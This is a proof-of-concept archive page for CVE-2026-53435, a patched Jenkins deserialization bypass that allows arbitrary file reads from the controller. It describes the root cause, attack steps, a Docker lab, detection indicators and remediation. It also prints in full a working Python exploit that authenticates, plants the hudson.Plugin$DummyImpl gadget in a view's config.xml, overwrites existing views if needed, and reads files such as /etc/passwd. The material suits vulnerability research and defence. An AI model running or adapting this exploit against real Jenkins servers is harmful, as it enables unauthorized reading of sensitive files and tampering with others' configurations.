PoC Archive PoC Archive
High (advisory also describes user impersonation and Script Console RCE via the same primitive; this PoC demonstrates file-read impact only) CVE-2026-53435 (Jenkins SECURITY-3707) patched

Jenkins ClassFilter Deserialization Bypass → Arbitrary File Read — CVE-2026-53435

by AmesianX (built interactively with Claude Code / Anthropic models per repo README) · 2026-07-05

CVSS 9.1/10
Severity
High (advisory also describes user impersonation and Script Console RCE via the same primitive; this PoC demonstrates file-read impact only)
CVE
CVE-2026-53435 (Jenkins SECURITY-3707)
Category
web
Affected product
Jenkins (core), View configuration (config.xml) deserialization path
Affected versions
Jenkins weekly ≤ 2.567, LTS ≤ 2.555.2. Fixed in weekly 2.568 / LTS 2.555.3.
Disclosed
2026-07-05
Patch status
patched

Metadata

FieldValue
Date Added2026-07-05
Last Updated2026-06
Author / ResearcherAmesianX (built interactively with Claude Code / Anthropic models per repo README)
CVE / AdvisoryCVE-2026-53435 (Jenkins SECURITY-3707)
Categoryweb
SeverityHigh (advisory also describes user impersonation and Script Console RCE via the same primitive; this PoC demonstrates file-read impact only)
CVSS ScoreNot disclosed in source (repo references “CVSS 9.1/8.8” as talking points but does not cite the authoritative advisory score)
StatusPoC
Tagsjenkins, deserialization, classfilter-bypass, xstream, config-xml, stapler, arbitrary-file-read, docker-lab, cwe-502
RelatedN/A

Affected Target

FieldValue
Software / SystemJenkins (core), View configuration (config.xml) deserialization path
Versions AffectedJenkins weekly ≤ 2.567, LTS ≤ 2.555.2. Fixed in weekly 2.568 / LTS 2.555.3.
Language / PlatformPython 3 (requests) exploit; Docker/Groovy lab running Jenkins LTS
Authentication RequiredYes — low-privilege account with View/Configure (or Item/Configure) permission plus Overall/Read
Network Access RequiredYes

Summary

Jenkins restricts deserialization via a custom ClassFilter that only allows types defined in Jenkins core or installed plugins. CVE-2026-53435 shows this whitelist is insufficient: an attacker who can POST a view’s config.xml can get Jenkins to deserialize a legitimate core type (hudson.Plugin$DummyImpl) into a context that never expected it — specifically into a ListView’s <properties> list, a DescribableList<ViewProperty> that, pre-patch, does not enforce its element type. The planted object carries baseResourceURL=file:/, and routing an HTTP request to it via Stapler then serves arbitrary files straight from the controller’s filesystem. The included Python exploit automates creating (or overwriting) a view with the malicious XML and then requesting the planted gadget’s route to read a target file such as /etc/passwd.


Vulnerability Details

Root Cause

Insufficient type enforcement in DescribableList<ViewProperty> (used by hudson.model.ListView) prior to the patch: XStream2 deserializes any Jenkins-core/plugin-resident type accepted by ClassFilter into the properties list without verifying it actually implements ViewProperty. Because hudson.Plugin$DummyImpl is a core type, it passes the class-location whitelist, then becomes reachable over HTTP via Stapler’s doDynamic/property-index routing, which serves files from the object’s attacker-controlled baseResourceURL (CWE-502: Deserialization of Untrusted Data).

Attack Vector

  1. Authenticate as a low-privileged Jenkins user with View/Configure (create) or the ability to POST a view’s config.xml, plus Overall/Read.
  2. POST a crafted config.xml (via /createView?name=... or /view/<name>/config.xml) containing a hudson.model.ListView whose <properties> element embeds <hudson.Plugin_-DummyImpl> with <wrapper><baseResourceURL>file:/</baseResourceURL></wrapper>.
  3. Jenkins deserializes and stores the planted Plugin$DummyImpl object as a view property, bypassing the intended type constraint.
  4. Send GET /view/<name>/properties/0/<path-to-file> — Stapler routes the request into the planted object’s doDynamic handler, which serves the requested file relative to file:/.
  5. Read the HTTP response body, which contains the contents of the requested file (e.g. /etc/passwd).

Impact

Any authenticated user meeting a very common permission bar (View/Configure or Item/Configure + Overall/Read) can read arbitrary files from the Jenkins controller’s filesystem. The upstream advisory additionally documents user-impersonation and Script Console RCE reachable via the same deserialization primitive; those chains are intentionally withheld from this PoC by the original author.


Environment / Lab Setup

Target:   Jenkins LTS 2.555.2 (vulnerable) — docker/jenkins-lts image, matrix-auth plugin,
          low-priv user "lowpriv" (Overall/Read + Item Create/Configure/Read) via init.groovy.d
Attacker: Python 3 + requests, against http://<jenkins-host>:8080
Negative control: Jenkins LTS 2.555.3 (patched) on a second container for before/after comparison

Proof of Concept

PoC Script

See exploit_cve_2026_53435_v2.py in this folder. The lab/ subdirectory contains a Docker Compose lab (vulnerable + patched Jenkins containers, an OOB listener, and Groovy user provisioning) used to reproduce and demonstrate the bug, and transcript/ contains the original author’s full working session logs (English and Korean) documenting how the exploit chain was derived.

1
2
3
python3 exploit_cve_2026_53435_v2.py <base_url> <user> <pass> <remote_file> [view_name]

python3 exploit_cve_2026_53435_v2.py http://127.0.0.1:8080 lowpriv lowpriv123 /etc/passwd

The script authenticates, fetches a CSRF crumb, attempts to create a new ListView (or falls back to overwriting an existing writable view) carrying the hudson.Plugin$DummyImpl gadget with baseResourceURL=file:/, then issues a GET against the planted view’s properties/0/<file> route and prints the returned file contents.

To stand up the companion lab:

1
docker compose -f lab/docker-compose.yml up -d

Detection & IOCs

Signs of compromise:

  • View config.xml submissions containing unexpected core-type elements (e.g. hudson.Plugin_-DummyImpl, or other core/plugin classes) inside <properties>
  • Requests to /view/<name>/properties/0/... returning filesystem content instead of expected view-property data
  • New or modified views created by non-administrative accounts shortly before anomalous file-path GET requests

Remediation

ActionDetail
Primary fixUpgrade to Jenkins weekly ≥ 2.568 or LTS ≥ 2.555.3, which tightens the deserialization type filter so planted objects are rejected before being stored
Interim mitigationRestrict View/Configure, Item/Configure, and Agent/Configure permissions to trusted administrators only; disable anonymous read; network-isolate the Jenkins controller from untrusted users until patched

References


Notes

Mirrored from https://github.com/AmesianX/CVE-2026-53435 on 2026-07-05. The upstream lab/README.md references a differently-named script (poc_cve_2026_53435.py with triage/canary/discover subcommands) that is not present in the repository as cloned — only exploit_cve_2026_53435_v2.py (the direct create-view/overwrite-view file-read exploit) exists in the mirrored source; this discrepancy is preserved as-is from upstream rather than corrected. The poc.png screenshot and both session transcripts (transcript/session_en.txt, transcript/session_ko.txt) are included as supplied by the author to document the exploit-development process.

exploit_cve_2026_53435_v2.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/usr/bin/env python3
"""
CVE-2026-53435 file-read exploit (v2) -- multi-vector + diagnostics.
For AUTHORIZED engagements only.

The gadget is planted into a DescribableList that does NOT enforce element type
pre-patch, then reached via Stapler routing -> hudson.Plugin.doDynamic serves the
file from baseResourceURL=file:/.

Vectors tried (need one of):
  - View/Configure : create a new ListView (or overwrite an existing one) and use
                     its <properties> (DescribableList<ViewProperty>).
  - Item/Configure : overwrite an existing Job's config.xml is NOT used here because
                     job DescribableLists cast to BuildStep; the View vector is the
                     reliable one. If the account only has Item perms, see notes.

Usage:
  python3 exploit_cve_2026_53435_v2.py <base_url> <user> <pass> <remote_file> [view_name]
  python3 exploit_cve_2026_53435_v2.py https://jenkins.internal:8080 test test /etc/passwd
"""
import sys, requests
from requests.auth import HTTPBasicAuth
requests.packages.urllib3.disable_warnings()

GADGET = ('<hudson.Plugin_-DummyImpl>'
          '<wrapper class="hudson.PluginWrapper"><baseResourceURL>file:/</baseResourceURL></wrapper>'
          '</hudson.Plugin_-DummyImpl>')

def view_xml(name):
    return (f"<?xml version='1.1' encoding='UTF-8'?>"
            f"<hudson.model.ListView><name>{name}</name>"
            f"<properties>{GADGET}</properties>"
            f'<jobNames class="tree-set"><comparator class="hudson.util.CaseInsensitiveComparator"/></jobNames>'
            f"<jobFilters/><columns/><recurse>false</recurse></hudson.model.ListView>")

def main():
    if len(sys.argv) < 5:
        print(__doc__); sys.exit(1)
    base, user, pw, remote = sys.argv[1:5]
    name = sys.argv[5] if len(sys.argv) > 5 else "cve53435"
    base = base.rstrip('/')
    s = requests.Session(); s.auth = HTTPBasicAuth(user, pw); s.verify = False

    # crumb (CSRF) — required on most instances
    H = {"Content-Type": "application/xml"}
    try:
        c = s.get(base + "/crumbIssuer/api/json", timeout=15).json()
        H[c["crumbRequestField"]] = c["crumb"]
    except Exception:
        print("[!] no crumb issuer (or auth failed) — continuing without crumb")

    # diagnostics
    who = s.get(base + "/whoAmI/api/json", timeout=15)
    print(f"[*] authenticated as: {who.json().get('name') if who.ok else '??'} (HTTP {who.status_code})")

    # vector A: create a fresh ListView
    r = s.post(base + f"/createView?name={name}", data=view_xml(name).encode(), headers=H, timeout=20)
    print(f"[*] createView '{name}' -> HTTP {r.status_code}")
    if r.status_code not in (200, 302):
        # vector B: overwrite an existing view we can configure
        print("[*] createView failed; enumerating existing views to overwrite via config.xml ...")
        try:
            views = [v["name"] for v in s.get(base + "/api/json?tree=views[name]", timeout=15).json().get("views", [])]
        except Exception:
            views = []
        for vn in views:
            rr = s.post(base + f"/view/{vn}/config.xml", data=view_xml(vn).encode(), headers=H, timeout=20)
            print(f"    overwrite view '{vn}' config.xml -> HTTP {rr.status_code}")
            if rr.status_code in (200, 302):
                name = vn
                break
        else:
            print("[!] no writable view found. Need View/Configure (or another config.xml POST perm). Aborting.")
            sys.exit(2)

    # trigger: route to the planted gadget; restOfPath is the file under file:/
    path = remote.lstrip('/')
    r = s.get(base + f"/view/{name}/properties/0/{path}", timeout=20)
    print(f"[*] GET /view/{name}/properties/0/{path} -> HTTP {r.status_code}")
    print("=" * 60)
    print(r.text)

if __name__ == "__main__":
    main()